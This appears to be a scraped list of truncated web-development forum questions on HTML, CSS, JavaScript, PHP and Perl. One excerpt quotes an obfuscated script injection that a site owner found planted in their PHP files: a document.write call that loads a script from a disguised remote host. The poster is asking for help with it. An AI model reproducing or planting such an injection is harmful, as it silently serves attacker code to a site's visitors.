Hi there,
I know we can send regular html files through the tubes and have the browser open them as Excel documents (you do that by changing http headers and the file name, then excel does the conversion). BUT, is it possible to get an HTML document show up in Excel with two Worksheets/Tabs?
Here's what I thought might work, but didn't...
Hello guys,
I personally like the <fieldset> tag because of how it draws a box and puts the <legend> at the top of it, over the border. Like this.
However, it was made to organize forms, and using it for general design is no better than using tables for general design. So, my question is... how can I achieve the same result using ano...
I need to get all the input objects and manipulate the onclick param.
the following does the job for links. looking for something like this for input tags.
for (var ls = document.links, numLinks = ls.length, i=0; i<numLinks; i++){
var link = unescape(ls[i].href);
link = link.replace(/\\'/ig,"#");
...
Hi Everyone:
I have been looking through the YouTube API for awhile now, but am not finding a simple way to auto-fetch all videos from a certain account and then display them on the screen. I am planning on using PHP in order to accomplish this, but otherwise I am open to suggestions of how to accomplish this.
Thanks for any help.
...
I am trying to create an overlay for a div. I am attempting to accomplish this using JQuery. This what the JS looks like:
$('#container').wrapInner('<div />')
.css('opacity', '0.5')
.css('z-index', '2')
.css('background','black')
.attr('id','overlay')
}
};
Update: This is the markup before the JS f...
I've been a C++ programmer for 15 years... I've done NO Java development... I HAVE built websites with HTML, CSS, Javascript and PHP...
Now, my question is this: Is the productivity gain I'll get from using something like GWT really worth the learning curve for me? I don't really have a strong desire to learn Java... I've never used Ecl...
I found the following code in PHP files in my website. I think someone just able to hack my ftp or with some way he's able to add this script in my PHP files, don't know how.
<script>/*Exception*/ document.write('<script src='+'h&)t()#t@$^p^^(:&#/&/!)!@n&o&&$$@v@)!o)t@$e$!))k)^a)@!-$&&@r$u!!.)&u$!i(#m)#^s#()e$#$r#v$^(.!$#)n&e&)t).#p&&)@...
This is driving me nuts. I'm trying to use a conditional IE6 stylesheet. I posted this test page here. Here is the code I placed in my head tags:
<!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="ie6.css" />
<![endif]-->
The ie6.css should set the body background to red when viewed in IE6.
What's wrong here? I'm sure it...
Ok, I have been trying to figure this out for a long time now and finally have the time to investigate. As the title suggests "what is the difference"? I know that this works the way I want it to.
addLoadEvent(converter);
// Converter
function converter() {
var pixels = document.getElementById("pixels");
pixels.addEventList...
Is there a way to make a form NOT refresh or call anything when you hit "Enter" key on your keyboard?
Thank you so much!!!
I found this code for preventing Enter from working, but it DOESN'T work in IE :(
$(document).ready(function() {
$(window).keydown(function(event){
if(event.keyCode == 13) {
event.preventDefault();
...
How can I have my javascript code constantly run? The situation is that I want some page elements to be resized when the page resizes. I'm thinking that the way to do this would be to have some javascript code that constantly runs, and whenever the page size changes, it resizes that element.
I tried doing this with setTimeout() and a rea...
The following styles all input tags, which means any 'type' of input tag gets styled.
input {
color:#050;
font: bold 84% 'trebuchet ms',helvetica,sans-serif;
background-color:#ffffff;
border:1px solid;
border-color: #696 #363 #363 #696;
}
how do I isolate it so all button input 'types' are styled differently than text input 'typ...
Hiya all,
I'm placing this question here because i'm becoming a little desperate to fix this problem that has really puzzled me now as i can't see a reason for it.
You can see the top navigation that reads "Home, play golf...etc" at the top of this page:
http://urbangolf.mammalworld.com/golf-club-fitting/half-day
It seems to work co...
My client have given me a HTML template for billing and I have to incorporate in my ongoing JSP/Servlet project. It is a raw HTML file and the output should be exactly same with page breaks and so on. It has one header table and one details table like our normal invoice. Any idea how to display the details in the report from Servlet/JSP?...
I actually wanted the two grids in one div , I mean one grid in right, other in the left .....but for now the grid is appearing down. Its same as you split in a table with two rows !! same as that I need to split a div and add two grids side by side . Hope you get my point . Thanking you all in advance for your awesome support and replie...
We have an intra-net website that requires me to enter login information every time and it's annoying.
I want to create some sort of automatic login for this website.
I tried creating a two-frame website, with one page being the login page and the other being my own html. In my html, I wanted to enter values to the textboxes in the othe...
In Python, I use a class called "urllib".
I'd just like a simple function where I can download the HTML of a webpage.
...
I am trying to include a small image as a separator in my menu and I am having the time of my life (sarcasm). In order to create a menu like below I am using the code under the image.
<ul id="div-menu">
<li class="current">
<div class="menu-fill fill">
<div class="menu-left left">
<div class=...
I would like to place an iframe right below the start of the body tag. This has some issues since the body tag can have various attributes and odd whitespace. My guess is this will will require regular expressions to do correctly.
EDIT: This solution has to work with php 4 & performance is a concern of mine. It's for this http://drupal....
I'm trying to split an HTML document into its head and body:
my @contentsArray = split( /<\/head>/is, $fileContents, 1);
if( scalar @contentsArray == 2 ){
$bodyContents = $dbh->quote(trim($contentsArray[1]));
$headContents = $dbh->quote(trim($contentsArray[0]) . "</head>");
}
is what i have. $fileContents contains the HTML co...